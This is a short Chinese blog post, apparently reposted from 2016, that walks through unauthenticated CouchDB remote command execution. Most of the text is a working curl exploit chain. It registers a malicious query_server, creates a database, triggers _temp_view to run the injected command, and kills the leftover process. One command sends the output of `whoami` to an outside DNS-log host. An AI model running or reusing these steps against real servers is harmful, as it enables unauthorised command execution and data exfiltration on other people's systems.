Couchdb未授权访问可执行系统命令（利用cloudeye神器回显）

内容简介：Couchdb未授权访问可执行系统命令（利用cloudeye神器回显）

前几天booooom在群里发了个couchdb执行系统命令的word

学习了一下，记录下

新增query_server配置，这里执行curl+回显whoami命令

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl couchdb.334cf9.dnslog.info/?whoami=`whoami`"'

新建一个临时表，插入一条记录

curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb'
curl -X PUT 'http://xx.xx.xxx.xx:5984/testdb/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

调用query_server处理数据

curl -X POST 'http://xx.xx.xxx.xx:5984/testdb/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

调用之后，一直在请求，我直接提前结束请求了，因为我要去执行pkill命令k掉curl进程...不然会一直请求...会产生很多日志...

因为执行之后curl命令也会在后台一直请求，所以要K掉

Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"pkill -9 curl"'

最后效果如下

后面跟大表哥@Salime讨论了很久，发现新建表不能写入特殊符号，以及插入数据不可控，所以不可控，导致不能回显，或者说暂时没有找到很好的回显办法，现在只能算是隐式命令执行...如果你有好的办法回显结果，可以评论或者加我qq934817794聊聊...

最后由 admin 编辑于2016年05月22日 00:39

以上就是本文的全部内容，希望本文的内容对大家的学习或者工作能带来一定的帮助，也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。